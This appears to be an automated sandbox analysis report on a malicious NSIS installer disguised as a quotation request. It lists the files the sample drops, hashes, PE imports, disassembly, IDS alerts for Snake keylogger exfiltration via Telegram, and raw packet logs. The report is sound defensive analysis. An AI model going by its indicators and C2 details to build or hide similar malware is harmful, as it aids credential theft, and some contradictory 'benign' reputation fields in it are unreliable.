Joe Sandbox View:	Filename: IBAN payment confirmation.exe, Detection: malicious, Browse Filename: Bank Swift and SOA PRN0072003410853_pdf.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: CL714440147.exe, Detection: malicious, Browse Filename: TKnBbCiX07.exe, Detection: malicious, Browse Filename: ________.exe, Detection: malicious, Browse Filename: Snurrevoddenes.exe, Detection: malicious, Browse Filename: Eksistensberettigelsernes102.exe, Detection: malicious, Browse Filename: ALI HASSO - P02515 & P02518.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Coindwelling.Lys

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	298784
Entropy (8bit):	7.736636534495347
Encrypted:	false
SSDEEP:	6144:M2ljJ7MW6Lv6XHzwgmTtPC8x3Km8EXu16x6l6n4o2F5rmebxnHz:M4ubGzwg2ZCjm8EO6x6l64XFltbJz
MD5:	C1035965687C9BDA80A00EFC020863D9
SHA1:	79C4E5A175290C8DCC548F85FCF9FDF9B2F75096
SHA-256:	A9A729569A3960676154A62623D6722EC46226228C70DB79A53DCB576126C56B
SHA-512:	F76E2E406F3A2AE25CF5D2F7675CAF8DD583E7C1361D12E12A1F35EA86177AE4263129BB6BEF25A488FB016B28F3786C7149995670220AA4B90F3A4BECF7DF73
Malicious:	false
Reputation:	low
Preview:	...........++.......................................................EE......%.....................I.G...........F....ppp............N.......................Z.qqq..........'.2.mmm............u..........iiiii.~~~~~~..............mmm............vv........o.............>>........6.....nnn...c.................S...........2........................---.....k...k......w..........ii.....t.(.pp......................................b.u.PP............S..r..........^..V.....................I.......11.......>..;;;......//.......g..".............y...!............m......%.....!........6..................vv...........t.<.^........{...............VVVV...........ddd..999.......O...........5........###...................................\|\|.....33...................RRRR.......................m.................[[......!!!!.................................hh......@.h..u............................qq.........l.666666.rrr.????....f..............YYYY........~............III.:.............................FFFF....-

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Emalje.kap

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	161977
Entropy (8bit):	1.2465706431701635
Encrypted:	false
SSDEEP:	768:j91kr2E4uLB4rAvVSJUxZOKLuPYUIlh6njQqVK+P7T6r6hI4W7lD1jBCgUpo:94irAZug+TLg1cpo
MD5:	818D9B577C6A2CCB8C8D753C89B0AEED
SHA1:	1912E60E75B47E0AC0B0ACDB2B320F0B36D3CE22
SHA-256:	B53DFB245A8D5A0F0FAEEC7E8B4AE273522AC29FD29B33608F9BA7F9ADB90279
SHA-512:	91993AA2E3E2666A3945886101B2B670CD3B0D76CF3CFFF3684DCB310FE324A1C650FAB5D5D00B8CFA49B5A7713FE2DBBA6DC2D8BB8DAC7A169495E6694CE4C6
Malicious:	false
Reputation:	low
Preview:	................(.R.............B...........f....H...................................................5....................................5........m............................./................?................4...............................l..........................................U..........................................................#....................M..............................................................g...................................................l..................f....................?.........................._..........................................................................u......x....................l....................~.......................S...C.............................................................................................).................l......................................................................................................................b...k................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Nidstirrer.Pre

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	28382
Entropy (8bit):	4.542161038457155
Encrypted:	false
SSDEEP:	384:7B8dlWrSIZBUx6RvCA6yOjeKNk1IOO8n/RFapPWQ1eAEU8CEwffnMfA5XHt:7B8dlWnf5EATcrkgFn8CjnMfA1Ht
MD5:	09F0F33D40E7290D770353F19C7013A2
SHA1:	757A2718341EAA21285F8F5B879213814DCB7B88
SHA-256:	BE35F7639DDFD3EE887D53F51337859DC721FC3D89F23AE45553235F978E5B98
SHA-512:	11655A921B0201A5A516FA1360BBE951A4166B8D0207A703E257F5B45244409487452C4A2D7B628F9900F302C1B7159B863897158E1A0D84C00A7F63987A4964
Malicious:	false
Reputation:	low
Preview:	.....1.j...w...bbb.f..................................................88........x......................\\.......xx..............~~.....EEEE.................8.................J...............>...1.............zzz..I..............m..........%%...3.....V..T...77.NNNNNN.............rrrr.T...%%%.SS.....................0........JJ......44.JJ.y...........:.........uu........s.E.u.888.Y..............;........).<........U....D..nn........ww........;..............................[....................^..F..........VVVVV................................................TTT................MM.............B.Y....pp....!!.........S.........AA.....TT......::::::.KKKK.....l............^.....iii...................HHH......L.............................\\\......................jj..%%%%............2..............QQ..t......................................vvvv.cc...............................((............................g.........Y.UUU...........7..g.***................x.jj.,.......QQQQQ.......e....ww.}}...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\img2.jpg

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.418910042244289
Encrypted:	false
SSDEEP:	48:j2XBhBOaFxHfEaq1kk1YunCRbvwxhjAxnyHIvR4SnHP7oNLpLR8Fqhr:j2XBv9Fx2kkO7RihjlovpnHPCpaQ1
MD5:	49DAF4E74443D8502F3229468615185F
SHA1:	9BB41BF5F382EE315893366F559FA26D57A4CD5F
SHA-256:	E5EE495A89E55467DB6A396F012EDB6A71D2E762CFC7FC6846FE7259528BF168
SHA-512:	EE9ABC6A19215FED64584BA24736ECBA24139CD03A75530FF351C99A25628410472A28F4EE08E87CE1F75DC79396A2A9C1AC79C399720C320437BC18993B561A
Malicious:	false
Reputation:	low
Preview:	......JFIF...................................................( ..%...!1!%)+.....383-7(-.+...........+...+8+++-+-+-+--+--+7+---+7-7+-7-7++---++-+7--7-+7+-+..........."........................................E........................!.1AQq."a...2...BR....#3Cbr...S......4DUcs..................................................1!............?.................................................................................@...............@........'7.O\|.(....i.<..M.4....vZ...-T.,~.&../...m.:.6..oe.;WZ]m[..:..:\.6U...........ey....F..m.I...6..G..S.z4..>..1p...E~OG.fQD.............I....$"@...9.g..]d.Ao..!.f../.oH..}.6.INNRm..l..ngV..+G...b$V.N...k.....=.........IR.KoG.qrJ...c..)..N[W..z.....h.R..Tm......ME....M....E...9.OI=.roU..%.&..a1p...;.\S..\|..x..._U..L....w>...............A$...D....0s.F.)s.uy..\._7......DbE..z....r.E...r7\|.1..}=......./.a.r.NJJs.........+...&..,...9.wm..V.ddlx.....e.f..4T.x.y>\..n....7.tu......M.gq[.6.......>.N.#....kzw,..(.QJ*K.L.......... .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\pinrail.whe

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	461378
Entropy (8bit):	1.252059381950645
Encrypted:	false
SSDEEP:	1536:s3tr+hilKd11tUzcxZg7SBobbR5FF7b7IvSog:sRVmQc3u9F7b76
MD5:	3AD2FE4EA13486258EADDD1E5940A6D7
SHA1:	06D0468A125D754D4534C182D79444DFB7A1CF61
SHA-256:	E4C5F20595C446D20C978CF7B486579BA2FFC17E64B940733B40C89DF4331319
SHA-512:	82328E01492BDB8B23555CB369279A5352B35E0B51A4A4AC88D9F9285BBDABA627FE01139B4F9669847252D5A59FC512B2463A364EFD5C33B83309D6A8985D59
Malicious:	false
Preview:	w......................j..........................p................................................-.......................;....................Y..........................1:....................................................................................G........B...............................................................................^.........................................................o.................'......................... .....................................F..................................................................................................................E...........................................97.....................................K...f.....r..........._...............h........+........................ ........./.............................d........m..........................b...................e.c......................................................................\...........5......t.....................b.................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\unyouthfully.ske

Download File

Process:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
File Type:	data
Category:	dropped
Size (bytes):	225641
Entropy (8bit):	1.2362366155163755
Encrypted:	false
SSDEEP:	768:HcPiBl7QD/ad4B+etLBBF64vscOIBiMFYnfBc1TS/HVtHlY4bDzZkmNQyFY670Fn:QaxOPt/G9V4yf7P/zZkX00b/h
MD5:	94C4B93474D07658FCBD411A20E68532
SHA1:	66421117EB902B48D39A1514C88C868394085FCF
SHA-256:	50B1D7356F0CC22F2A9AE93A7CC9738C6BC0907724ACDB85F68F594333B706DC
SHA-512:	BC1C40FF5B9FD71590E9B3E71D7B58A46E8AFBE56DFBD22C39F5DC0952ACEDC96F2BC4D8428EA0BCD75D67BD32F2B095585925CD8141063801FB128EA46F7471
Malicious:	false
Preview:	..........................~................................................/........[...............................................R......................R....................................................{.....................................E.........................E.....................................................8...../...................................5.............................................K...........................*.....................................k...................\|.......=....................s....................................................................p...2...................................g.N................#................~......................................B..................................................J........................?............................{./.........................U................................z...........+..........................................................K..........................................A......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.070078101481484
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	REQUEST FOR QUOATION AND PRICES.exe
File size:	734'480 bytes
MD5:	143edb6c5c1e1a1e06695965f2b5cb74
SHA1:	b43660357dbe4c3d84d4239b6273817b5eb1ff53
SHA256:	05814550e1562d4c54710804145c678b6191aab6a07c73e6f7902b1149bb020d
SHA512:	8656e2e854a66f2901898147303fa5119c691defc06745d38d93ce0ef06ff243d85b8d0d109d0ef18c4bb3b1de29a5c76961b85a77959c0d93b9179546bbe761
SSDEEP:	12288:xlYZmcRHOohpeGbzpAbzRglY6y/utl97avDAoXPJO2RpXD3j:UmcdOohMyz5Y6yK7arHXPJOyXjj
TLSH:	30F4D01F1B168406EE9415F2B8A3CE53A6F5BFBC206973456D62FF1780B3E70394A189
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	058cc0e474936126

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007FD7CC7C779Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007FD7CC7C7407h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FD7CC7C73F5h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007FD7CC7C48EAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FD7CC7C6E46h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FD7CC7C49AEh
push 00000020h
pop edx
cmp cx, dx
jne 00007FD7CC7C48E9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007FD7CC7C48DBh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x43188	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5f000	0x43188	0x43200	ad79ab7bc0418c21ba04b90eb50d4a0c	False	0.18500494646182494	data	4.605797713668011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5f2b0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5f618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.1810552711779152
RT_DIALOG	0xa1640	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa1788	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa18c8	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa19c8	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0xa1ae8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa1bb0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa1c10	0x14	data	English	United States	1.1
RT_VERSION	0xa1c28	0x258	data	English	United States	0.5216666666666666
RT_MANIFEST	0xa1e80	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T15:22:42.735160+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49780	172.217.19.174	443	TCP
2024-12-03T15:22:51.057369+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49802	132.226.247.73	80	TCP
2024-12-03T15:22:59.588677+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49802	132.226.247.73	80	TCP
2024-12-03T15:23:01.791954+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49830	149.154.167.220	443	TCP
2024-12-03T15:23:04.323085+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49838	132.226.247.73	80	TCP
2024-12-03T15:23:06.396891+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49844	149.154.167.220	443	TCP
2024-12-03T15:23:08.010701+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49850	132.226.247.73	80	TCP
2024-12-03T15:23:10.145994+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49852	149.154.167.220	443	TCP
2024-12-03T15:23:13.917148+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49863	149.154.167.220	443	TCP
2024-12-03T15:23:17.893806+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49875	149.154.167.220	443	TCP
2024-12-03T15:23:21.905465+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49883	149.154.167.220	443	TCP
2024-12-03T15:23:25.604826+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49894	149.154.167.220	443	TCP
2024-12-03T15:23:29.303112+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49903	149.154.167.220	443	TCP
2024-12-03T15:23:32.999234+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49913	149.154.167.220	443	TCP
2024-12-03T15:23:37.577523+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49925	149.154.167.220	443	TCP
2024-12-03T15:23:41.186381+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49935	149.154.167.220	443	TCP
2024-12-03T15:23:44.858088+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49943	149.154.167.220	443	TCP
2024-12-03T15:23:48.483823+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49951	149.154.167.220	443	TCP
2024-12-03T15:23:52.010679+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49962	149.154.167.220	443	TCP
2024-12-03T15:23:55.703363+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49968	149.154.167.220	443	TCP
2024-12-03T15:23:59.435944+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49978	149.154.167.220	443	TCP
2024-12-03T15:24:05.296567+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49980	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:22:40.018177032 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:40.018229008 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:40.018384933 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:40.029048920 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:40.029062033 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:41.823081970 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:41.823190928 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:41.823931932 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:41.823990107 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:41.889066935 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:41.889097929 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:41.889385939 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:41.889437914 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:41.894035101 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:41.935331106 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:42.735156059 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:42.735268116 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:42.735300064 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:42.735354900 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:42.735547066 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:42.735593081 CET	443	49780	172.217.19.174	192.168.2.7
Dec 3, 2024 15:22:42.735645056 CET	49780	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:22:42.888720989 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:42.888747931 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:42.888824940 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:42.889153004 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:42.889163971 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:44.638675928 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:44.638784885 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:44.652261019 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:44.652295113 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:44.652631044 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:44.652802944 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:44.653234959 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:44.699327946 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:47.999346972 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:47.999427080 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.016175032 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.016258955 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.029124022 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.029202938 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.111013889 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.111195087 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.111217976 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.111265898 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.192044020 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.192154884 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.195756912 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.195816994 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.195936918 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.195981026 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.203753948 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.203813076 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.206793070 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.206851959 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.210711956 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.210772038 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.218498945 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.218584061 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.219882011 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.219932079 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.227725029 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.227782965 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.229199886 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.229247093 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.236979961 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.237040997 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.239118099 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.239166975 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.244702101 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.244760990 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.253360987 CET	443	49789	142.250.181.97	192.168.2.7
Dec 3, 2024 15:22:48.253408909 CET	49789	443	192.168.2.7	142.250.181.97
Dec 3, 2024 15:22:48.255877972 CET	443	49789	142.250.181.97	192.168.2.7
